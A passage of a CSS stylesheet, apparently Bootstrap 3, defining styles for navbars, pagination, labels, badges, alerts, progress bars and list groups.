.navbar-collapse,\n  .navbar-fixed-bottom .navbar-collapse {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n.navbar-fixed-top .navbar-collapse,\n.navbar-fixed-bottom .navbar-collapse {\n  max-height: 340px;\n}\n@media (max-device-width: 480px) and (orientation: landscape) {\n  .navbar-fixed-top .navbar-collapse,\n  .navbar-fixed-bottom .navbar-collapse {\n    max-height: 200px;\n  }\n}\n.container > .navbar-header,\n.container-fluid > .navbar-header,\n.container > .navbar-collapse,\n.container-fluid > .navbar-collapse {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n@media (min-width: 768px) {\n  .container > .navbar-header,\n  .container-fluid > .navbar-header,\n  .container > .navbar-collapse,\n  .container-fluid > .navbar-collapse {\n    margin-right: 0;\n    margin-left: 0;\n  }\n}\n.navbar-static-top {\n  z-index: 1000;\n  border-width: 0 0 1px;\n}\n@media (min-width: 768px) {\n  .navbar-static-top {\n    border-radius: 0;\n  }\n}\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n  position: fixed;\n  right: 0;\n  left: 0;\n  z-index: 1030;\n}\n@media (min-width: 768px) {\n  .navbar-fixed-top,\n  .navbar-fixed-bottom {\n    border-radius: 0;\n  }\n}\n.navbar-fixed-top {\n  top: 0;\n  border-width: 0 0 1px;\n}\n.navbar-fixed-bottom {\n  bottom: 0;\n  margin-bottom: 0;\n  border-width: 1px 0 0;\n}\n.navbar-brand {\n  float: left;\n  height: 50px;\n  padding: 15px 15px;\n  font-size: 18px;\n  line-height: 20px;\n}\n.navbar-brand:hover,\n.navbar-brand:focus {\n  text-decoration: none;\n}\n.navbar-brand > img {\n  display: block;\n}\n@media (min-width: 768px) {\n  .navbar > .container .navbar-brand,\n  .navbar > .container-fluid .navbar-brand {\n    margin-left: -15px;\n  }\n}\n.navbar-toggle {\n  position: relative;\n  float: right;\n  padding: 9px 10px;\n  margin-top: 8px;\n  margin-right: 15px;\n  margin-bottom: 8px;\n  background-color: transparent;\n  background-image: none;\n  border: 1px solid transparent;\n  border-radius: 4px;\n}\n.navbar-toggle:focus {\n  outline: 0;\n}\n.navbar-toggle .icon-bar {\n  display: block;\n  width: 22px;\n  height: 2px;\n  border-radius: 1px;\n}\n.navbar-toggle .icon-bar + .icon-bar {\n  margin-top: 4px;\n}\n@media (min-width: 768px) {\n  .navbar-toggle {\n    display: none;\n  }\n}\n.navbar-nav {\n  margin: 7.5px -15px;\n}\n.navbar-nav > li > a {\n  padding-top: 10px;\n  padding-bottom: 10px;\n  line-height: 20px;\n}\n@media (max-width: 767px) {\n  .navbar-nav .open .dropdown-menu {\n    position: static;\n    float: none;\n    width: auto;\n    margin-top: 0;\n    background-color: transparent;\n    border: 0;\n    -webkit-box-shadow: none;\n            box-shadow: none;\n  }\n  .navbar-nav .open .dropdown-menu > li > a,\n  .navbar-nav .open .dropdown-menu .dropdown-header {\n    padding: 5px 15px 5px 25px;\n  }\n  .navbar-nav .open .dropdown-menu > li > a {\n    line-height: 20px;\n  }\n  .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-nav .open .dropdown-menu > li > a:focus {\n    background-image: none;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-nav {\n    float: left;\n    margin: 0;\n  }\n  .navbar-nav > li {\n    float: left;\n  }\n  .navbar-nav > li > a {\n    padding-top: 15px;\n    padding-bottom: 15px;\n  }\n}\n.navbar-form {\n  padding: 10px 15px;\n  margin-top: 8px;\n  margin-right: -15px;\n  margin-bottom: 8px;\n  margin-left: -15px;\n  border-top: 1px solid transparent;\n  border-bottom: 1px solid transparent;\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1);\n}\n@media (min-width: 768px) {\n  .navbar-form .form-group {\n    display: inline-block;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .navbar-form .form-control {\n    display: inline-block;\n    width: auto;\n    vertical-align: middle;\n  }\n  .navbar-form .form-control-static {\n    display: inline-block;\n  }\n  .navbar-form .input-group {\n    display: inline-table;\n    vertical-align: middle;\n  }\n  .navbar-form .input-group .input-group-addon,\n  .navbar-form .input-group .input-group-btn,\n  .navbar-form .input-group .form-control {\n    width: auto;\n  }\n  .navbar-form .input-group > .form-control {\n    width: 100%;\n  }\n  .navbar-form .control-label {\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .navbar-form .radio,\n  .navbar-form .checkbox {\n    display: inline-block;\n    margin-top: 0;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .navbar-form .radio label,\n  .navbar-form .checkbox label {\n    padding-left: 0;\n  }\n  .navbar-form .radio input[type=\"radio\"],\n  .navbar-form .checkbox input[type=\"checkbox\"] {\n    position: relative;\n    margin-left: 0;\n  }\n  .navbar-form .has-feedback .form-control-feedback {\n    top: 0;\n  }\n}\n@media (max-width: 767px) {\n  .navbar-form .form-group {\n    margin-bottom: 5px;\n  }\n  .navbar-form .form-group:last-child {\n    margin-bottom: 0;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-form {\n    width: auto;\n    padding-top: 0;\n    padding-bottom: 0;\n    margin-right: 0;\n    margin-left: 0;\n    border: 0;\n    -webkit-box-shadow: none;\n            box-shadow: none;\n  }\n}\n.navbar-nav > li > .dropdown-menu {\n  margin-top: 0;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n  margin-bottom: 0;\n  border-top-left-radius: 4px;\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.navbar-btn {\n  margin-top: 8px;\n  margin-bottom: 8px;\n}\n.navbar-btn.btn-sm {\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\n.navbar-btn.btn-xs {\n  margin-top: 14px;\n  margin-bottom: 14px;\n}\n.navbar-text {\n  margin-top: 15px;\n  margin-bottom: 15px;\n}\n@media (min-width: 768px) {\n  .navbar-text {\n    float: left;\n    margin-right: 15px;\n    margin-left: 15px;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-left {\n    float: left !important;\n  }\n  .navbar-right {\n    float: right !important;\n    margin-right: -15px;\n  }\n  .navbar-right ~ .navbar-right {\n    margin-right: 0;\n  }\n}\n.navbar-default {\n  background-color: #f8f8f8;\n  border-color: #e7e7e7;\n}\n.navbar-default .navbar-brand {\n  color: #777;\n}\n.navbar-default .navbar-brand:hover,\n.navbar-default .navbar-brand:focus {\n  color: #5e5e5e;\n  background-color: transparent;\n}\n.navbar-default .navbar-text {\n  color: #777;\n}\n.navbar-default .navbar-nav > li > a {\n  color: #777;\n}\n.navbar-default .navbar-nav > li > a:hover,\n.navbar-default .navbar-nav > li > a:focus {\n  color: #333;\n  background-color: transparent;\n}\n.navbar-default .navbar-nav > .active > a,\n.navbar-default .navbar-nav > .active > a:hover,\n.navbar-default .navbar-nav > .active > a:focus {\n  color: #555;\n  background-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .disabled > a,\n.navbar-default .navbar-nav > .disabled > a:hover,\n.navbar-default .navbar-nav > .disabled > a:focus {\n  color: #ccc;\n  background-color: transparent;\n}\n.navbar-default .navbar-toggle {\n  border-color: #ddd;\n}\n.navbar-default .navbar-toggle:hover,\n.navbar-default .navbar-toggle:focus {\n  background-color: #ddd;\n}\n.navbar-default .navbar-toggle .icon-bar {\n  background-color: #888;\n}\n.navbar-default .navbar-collapse,\n.navbar-default .navbar-form {\n  border-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .open > a:hover,\n.navbar-default .navbar-nav > .open > a:focus {\n  color: #555;\n  background-color: #e7e7e7;\n}\n@media (max-width: 767px) {\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a {\n    color: #777;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus {\n    color: #333;\n    background-color: transparent;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a,\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus {\n    color: #555;\n    background-color: #e7e7e7;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a,\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n    color: #ccc;\n    background-color: transparent;\n  }\n}\n.navbar-default .navbar-link {\n  color: #777;\n}\n.navbar-default .navbar-link:hover {\n  color: #333;\n}\n.navbar-default .btn-link {\n  color: #777;\n}\n.navbar-default .btn-link:hover,\n.navbar-default .btn-link:focus {\n  color: #333;\n}\n.navbar-default .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-default .btn-link:hover,\n.navbar-default .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-default .btn-link:focus {\n  color: #ccc;\n}\n.navbar-inverse {\n  background-color: #222;\n  border-color: #080808;\n}\n.navbar-inverse .navbar-brand {\n  color: #9d9d9d;\n}\n.navbar-inverse .navbar-brand:hover,\n.navbar-inverse .navbar-brand:focus {\n  color: #fff;\n  background-color: transparent;\n}\n.navbar-inverse .navbar-text {\n  color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a {\n  color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a:hover,\n.navbar-inverse .navbar-nav > li > a:focus {\n  color: #fff;\n  background-color: transparent;\n}\n.navbar-inverse .navbar-nav > .active > a,\n.navbar-inverse .navbar-nav > .active > a:hover,\n.navbar-inverse .navbar-nav > .active > a:focus {\n  color: #fff;\n  background-color: #080808;\n}\n.navbar-inverse .navbar-nav > .disabled > a,\n.navbar-inverse .navbar-nav > .disabled > a:hover,\n.navbar-inverse .navbar-nav > .disabled > a:focus {\n  color: #444;\n  background-color: transparent;\n}\n.navbar-inverse .navbar-toggle {\n  border-color: #333;\n}\n.navbar-inverse .navbar-toggle:hover,\n.navbar-inverse .navbar-toggle:focus {\n  background-color: #333;\n}\n.navbar-inverse .navbar-toggle .icon-bar {\n  background-color: #fff;\n}\n.navbar-inverse .navbar-collapse,\n.navbar-inverse .navbar-form {\n  border-color: #101010;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .open > a:hover,\n.navbar-inverse .navbar-nav > .open > a:focus {\n  color: #fff;\n  background-color: #080808;\n}\n@media (max-width: 767px) {\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header {\n    border-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu .divider {\n    background-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a {\n    color: #9d9d9d;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus {\n    color: #fff;\n    background-color: transparent;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus {\n    color: #fff;\n    background-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n    color: #444;\n    background-color: transparent;\n  }\n}\n.navbar-inverse .navbar-link {\n  color: #9d9d9d;\n}\n.navbar-inverse .navbar-link:hover {\n  color: #fff;\n}\n.navbar-inverse .btn-link {\n  color: #9d9d9d;\n}\n.navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link:focus {\n  color: #fff;\n}\n.navbar-inverse .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-inverse .btn-link:focus {\n  color: #444;\n}\n.breadcrumb {\n  padding: 8px 15px;\n  margin-bottom: 20px;\n  list-style: none;\n  background-color: #f5f5f5;\n  border-radius: 4px;\n}\n.breadcrumb > li {\n  display: inline-block;\n}\n.breadcrumb > li + li:before {\n  padding: 0 5px;\n  color: #ccc;\n  content: \"/\\00a0\";\n}\n.breadcrumb > .active {\n  color: #777;\n}\n.pagination {\n  display: inline-block;\n  padding-left: 0;\n  margin: 20px 0;\n  border-radius: 4px;\n}\n.pagination > li {\n  display: inline;\n}\n.pagination > li > a,\n.pagination > li > span {\n  position: relative;\n  float: left;\n  padding: 6px 12px;\n  margin-left: -1px;\n  line-height: 1.42857143;\n  color: #337ab7;\n  text-decoration: none;\n  background-color: #fff;\n  border: 1px solid #ddd;\n}\n.pagination > li:first-child > a,\n.pagination > li:first-child > span {\n  margin-left: 0;\n  border-top-left-radius: 4px;\n  border-bottom-left-radius: 4px;\n}\n.pagination > li:last-child > a,\n.pagination > li:last-child > span {\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 4px;\n}\n.pagination > li > a:hover,\n.pagination > li > span:hover,\n.pagination > li > a:focus,\n.pagination > li > span:focus {\n  z-index: 2;\n  color: #23527c;\n  background-color: #eee;\n  border-color: #ddd;\n}\n.pagination > .active > a,\n.pagination > .active > span,\n.pagination > .active > a:hover,\n.pagination > .active > span:hover,\n.pagination > .active > a:focus,\n.pagination > .active > span:focus {\n  z-index: 3;\n  color: #fff;\n  cursor: default;\n  background-color: #337ab7;\n  border-color: #337ab7;\n}\n.pagination > .disabled > span,\n.pagination > .disabled > span:hover,\n.pagination > .disabled > span:focus,\n.pagination > .disabled > a,\n.pagination > .disabled > a:hover,\n.pagination > .disabled > a:focus {\n  color: #777;\n  cursor: not-allowed;\n  background-color: #fff;\n  border-color: #ddd;\n}\n.pagination-lg > li > a,\n.pagination-lg > li > span {\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n}\n.pagination-lg > li:first-child > a,\n.pagination-lg > li:first-child > span {\n  border-top-left-radius: 6px;\n  border-bottom-left-radius: 6px;\n}\n.pagination-lg > li:last-child > a,\n.pagination-lg > li:last-child > span {\n  border-top-right-radius: 6px;\n  border-bottom-right-radius: 6px;\n}\n.pagination-sm > li > a,\n.pagination-sm > li > span {\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n}\n.pagination-sm > li:first-child > a,\n.pagination-sm > li:first-child > span {\n  border-top-left-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.pagination-sm > li:last-child > a,\n.pagination-sm > li:last-child > span {\n  border-top-right-radius: 3px;\n  border-bottom-right-radius: 3px;\n}\n.pager {\n  padding-left: 0;\n  margin: 20px 0;\n  text-align: center;\n  list-style: none;\n}\n.pager li {\n  display: inline;\n}\n.pager li > a,\n.pager li > span {\n  display: inline-block;\n  padding: 5px 14px;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-radius: 15px;\n}\n.pager li > a:hover,\n.pager li > a:focus {\n  text-decoration: none;\n  background-color: #eee;\n}\n.pager .next > a,\n.pager .next > span {\n  float: right;\n}\n.pager .previous > a,\n.pager .previous > span {\n  float: left;\n}\n.pager .disabled > a,\n.pager .disabled > a:hover,\n.pager .disabled > a:focus,\n.pager .disabled > span {\n  color: #777;\n  cursor: not-allowed;\n  background-color: #fff;\n}\n.label {\n  display: inline;\n  padding: .2em .6em .3em;\n  font-size: 75%;\n  font-weight: bold;\n  line-height: 1;\n  color: #fff;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: baseline;\n  border-radius: .25em;\n}\na.label:hover,\na.label:focus {\n  color: #fff;\n  text-decoration: none;\n  cursor: pointer;\n}\n.label:empty {\n  display: none;\n}\n.btn .label {\n  position: relative;\n  top: -1px;\n}\n.label-default {\n  background-color: #777;\n}\n.label-default[href]:hover,\n.label-default[href]:focus {\n  background-color: #5e5e5e;\n}\n.label-primary {\n  background-color: #337ab7;\n}\n.label-primary[href]:hover,\n.label-primary[href]:focus {\n  background-color: #286090;\n}\n.label-success {\n  background-color: #5cb85c;\n}\n.label-success[href]:hover,\n.label-success[href]:focus {\n  background-color: #449d44;\n}\n.label-info {\n  background-color: #5bc0de;\n}\n.label-info[href]:hover,\n.label-info[href]:focus {\n  background-color: #31b0d5;\n}\n.label-warning {\n  background-color: #f0ad4e;\n}\n.label-warning[href]:hover,\n.label-warning[href]:focus {\n  background-color: #ec971f;\n}\n.label-danger {\n  background-color: #d9534f;\n}\n.label-danger[href]:hover,\n.label-danger[href]:focus {\n  background-color: #c9302c;\n}\n.badge {\n  display: inline-block;\n  min-width: 10px;\n  padding: 3px 7px;\n  font-size: 12px;\n  font-weight: bold;\n  line-height: 1;\n  color: #fff;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: middle;\n  background-color: #777;\n  border-radius: 10px;\n}\n.badge:empty {\n  display: none;\n}\n.btn .badge {\n  position: relative;\n  top: -1px;\n}\n.btn-xs .badge,\n.btn-group-xs > .btn .badge {\n  top: 0;\n  padding: 1px 5px;\n}\na.badge:hover,\na.badge:focus {\n  color: #fff;\n  text-decoration: none;\n  cursor: pointer;\n}\n.list-group-item.active > .badge,\n.nav-pills > .active > a > .badge {\n  color: #337ab7;\n  background-color: #fff;\n}\n.list-group-item > .badge {\n  float: right;\n}\n.list-group-item > .badge + .badge {\n  margin-right: 5px;\n}\n.nav-pills > li > a > .badge {\n  margin-left: 3px;\n}\n.jumbotron {\n  padding-top: 30px;\n  padding-bottom: 30px;\n  margin-bottom: 30px;\n  color: inherit;\n  background-color: #eee;\n}\n.jumbotron h1,\n.jumbotron .h1 {\n  color: inherit;\n}\n.jumbotron p {\n  margin-bottom: 15px;\n  font-size: 21px;\n  font-weight: 200;\n}\n.jumbotron > hr {\n  border-top-color: #d5d5d5;\n}\n.container .jumbotron,\n.container-fluid .jumbotron {\n  padding-right: 15px;\n  padding-left: 15px;\n  border-radius: 6px;\n}\n.jumbotron .container {\n  max-width: 100%;\n}\n@media screen and (min-width: 768px) {\n  .jumbotron {\n    padding-top: 48px;\n    padding-bottom: 48px;\n  }\n  .container .jumbotron,\n  .container-fluid .jumbotron {\n    padding-right: 60px;\n    padding-left: 60px;\n  }\n  .jumbotron h1,\n  .jumbotron .h1 {\n    font-size: 63px;\n  }\n}\n.thumbnail {\n  display: block;\n  padding: 4px;\n  margin-bottom: 20px;\n  line-height: 1.42857143;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-radius: 4px;\n  -webkit-transition: border .2s ease-in-out;\n       -o-transition: border .2s ease-in-out;\n          transition: border .2s ease-in-out;\n}\n.thumbnail > img,\n.thumbnail a > img {\n  margin-right: auto;\n  margin-left: auto;\n}\na.thumbnail:hover,\na.thumbnail:focus,\na.thumbnail.active {\n  border-color: #337ab7;\n}\n.thumbnail .caption {\n  padding: 9px;\n  color: #333;\n}\n.alert {\n  padding: 15px;\n  margin-bottom: 20px;\n  border: 1px solid transparent;\n  border-radius: 4px;\n}\n.alert h4 {\n  margin-top: 0;\n  color: inherit;\n}\n.alert .alert-link {\n  font-weight: bold;\n}\n.alert > p,\n.alert > ul {\n  margin-bottom: 0;\n}\n.alert > p + p {\n  margin-top: 5px;\n}\n.alert-dismissable,\n.alert-dismissible {\n  padding-right: 35px;\n}\n.alert-dismissable .close,\n.alert-dismissible .close {\n  position: relative;\n  top: -2px;\n  right: -21px;\n  color: inherit;\n}\n.alert-success {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #d6e9c6;\n}\n.alert-success hr {\n  border-top-color: #c9e2b3;\n}\n.alert-success .alert-link {\n  color: #2b542c;\n}\n.alert-info {\n  color: #31708f;\n  background-color: #d9edf7;\n  border-color: #bce8f1;\n}\n.alert-info hr {\n  border-top-color: #a6e1ec;\n}\n.alert-info .alert-link {\n  color: #245269;\n}\n.alert-warning {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #faebcc;\n}\n.alert-warning hr {\n  border-top-color: #f7e1b5;\n}\n.alert-warning .alert-link {\n  color: #66512c;\n}\n.alert-danger {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #ebccd1;\n}\n.alert-danger hr {\n  border-top-color: #e4b9c0;\n}\n.alert-danger .alert-link {\n  color: #843534;\n}\n@-webkit-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n@-o-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n@keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n.progress {\n  height: 20px;\n  margin-bottom: 20px;\n  overflow: hidden;\n  background-color: #f5f5f5;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1);\n          box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1);\n}\n.progress-bar {\n  float: left;\n  width: 0;\n  height: 100%;\n  font-size: 12px;\n  line-height: 20px;\n  color: #fff;\n  text-align: center;\n  background-color: #337ab7;\n  -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15);\n          box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15);\n  -webkit-transition: width .6s ease;\n       -o-transition: width .6s ease;\n          transition: width .6s ease;\n}\n.progress-striped .progress-bar,\n.progress-bar-striped {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  -webkit-background-size: 40px 40px;\n          background-size: 40px 40px;\n}\n.progress.active .progress-bar,\n.progress-bar.active {\n  -webkit-animation: progress-bar-stripes 2s linear infinite;\n       -o-animation: progress-bar-stripes 2s linear infinite;\n          animation: progress-bar-stripes 2s linear infinite;\n}\n.progress-bar-success {\n  background-color: #5cb85c;\n}\n.progress-striped .progress-bar-success {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-info {\n  background-color: #5bc0de;\n}\n.progress-striped .progress-bar-info {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-warning {\n  background-color: #f0ad4e;\n}\n.progress-striped .progress-bar-warning {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-danger {\n  background-color: #d9534f;\n}\n.progress-striped .progress-bar-danger {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.media {\n  margin-top: 15px;\n}\n.media:first-child {\n  margin-top: 0;\n}\n.media,\n.media-body {\n  overflow: hidden;\n  zoom: 1;\n}\n.media-body {\n  width: 10000px;\n}\n.media-object {\n  display: block;\n}\n.media-object.img-thumbnail {\n  max-width: none;\n}\n.media-right,\n.media > .pull-right {\n  padding-left: 10px;\n}\n.media-left,\n.media > .pull-left {\n  padding-right: 10px;\n}\n.media-left,\n.media-right,\n.media-body {\n  display: table-cell;\n  vertical-align: top;\n}\n.media-middle {\n  vertical-align: middle;\n}\n.media-bottom {\n  vertical-align: bottom;\n}\n.media-heading {\n  margin-top: 0;\n  margin-bottom: 5px;\n}\n.media-list {\n  padding-left: 0;\n  list-style: none;\n}\n.list-group {\n  padding-left: 0;\n  margin-bottom: 20px;\n}\n.list-group-item {\n  position: relative;\n  display: block;\n  padding: 10px 15px;\n  margin-bottom: -1px;\n  background-color: #fff;\n  border: 1px solid #ddd;\n}\n.list-group-item:first-child {\n  border-top-left-radius: 4px;\n  border-top-right-radius: 4px;\n}\n.list-group-item:last-child {\n  margin-bottom: 0;\n  border-bottom-right-radius: 4px;\n  border-bottom-left-radius: 4px;\n}\na.list-group-item,\nbutton.list-group-item {\n  color: #555;\n}\na.list-group-item .list-group-item-heading,\nbutton.list-group-item .list-group-item-heading {\n  color: #333;\n}\na.list-group-item:hover,\nbutton.list-group-item:hover,\na.list-group-item:focus,\nbutton.list-group-item:focus {\n  color: #555;\n  text-decoration: none;\n  background-color: #f5f5f5;\n}\nbutton.list-group-item {\n  width: 100%;\n  text-align: left;\n}\n.list-group-item.disabled,\n.list-group-item.disabled:hover,\n.list-group-item.disabled:focus {\n  color: #777;\n  cursor: not-allowed;\n  background-color: #eee;\n}\n.list-group-item.disabled .list-group-item-heading,\n.list-group-item.disabled:hover .list-group-item-heading,\n.list-group-item.disabled:focus .list-group-item-heading {\n  color: inherit;\n}\n.list-group-item.disabled .list-group-item-text,\n.list-group-item.disabled:hover .list-group-item-text,\n.list-group-item.disabled:focus .list-group-item-text {\n  color: #777;\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n  z-index: 2;\n  color: #fff;\n  background-color: #337ab7;\n  border-color: #337ab7;\n}\n.list-group-item.active .list-group-item-heading,\n.list-group-item.active:hover .list-group-item-heading,\n.list-group-item.active:focus .list-group-item-heading,\n.list-group-item.active .list-group-item-heading > small,\n.list-group-item.active:hover .list-group-item-heading > small,\n.list-group-item.active:focus .list-group-item-heading > small,\n.list-group-item.active .list-group-item-heading > .small,\n.list-group-item.active:hover .list-group-item-heading > .small,\n.list-group-item.active:focus .list-group-item-heading > .small {\n  color: inherit;\n}\n.list-group-item.active .list-group-item-text,\n.list-group-item.active:hover .list-group-item-text,\n.list-group-item.active:focus .list-group-item-text {\n  color: #c7ddef;\n}\n.list-group-item-success {\n  color: #3c763d;\n  background-color: #dff0d8;\n}\na.list-group-item-success,\nbutton.list-group-item-success {\n  color: #3c763d;\n}\na.list-group-item-success .list-group-item-heading,\nbutton.list-group-item-success .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-success:hover,\nbutton.list-group-item-success:hover,\na.list-group-item-success:focus,\nbutton.list-group-item-success:focus {\n  color: #3c763d;\n  background-color: #d0e9c6;\n}\na.list-group-item-success.active,\nbutton.list-group-item-success.active,\na.list-group-item-success.active:hover,\nbutton.list-group-item-success.active:hover,\na.list-group-item-success.active:focus,\nbutton.list-group-item-success.active:focus {\n  color: #fff;\n  background-color: #3c763d;\n  border-color: #3c763d;\n}\n.list-group-item-info {\n  color: #31708f;\n  background-color: #d9edf7;\n}\na.list-group-item-info,\nbutton.list-group-item-info {\n  color: #31708f;\n}\na.list-group-item-info .list-group-item-heading,\nbutton.list-group-item-info .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-info:hover,\nbutton.list-group-item-info:hover,\na.list-group-item-info:focus,\nbutton.list-group-item-info:focus {\n  color: #31708f;\n  background-color: #c4e3f3;\n}\na.list-group-item-info.active,\nbutton.list-group-item-info.active,\na.list-group-item-info.active:hover,\nbutton.list-group-item-info.active:hover,\na.list-group-item-info.active:focus,\nbutton.list-group-item-info.active:focus {\n  color: #fff;\n  background-color: #31708f;\n  border-color: #31708f;\n}\n.list-group-item-warning {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n}\na.list-group-item-warning,\nbutton.list-group-item-warning 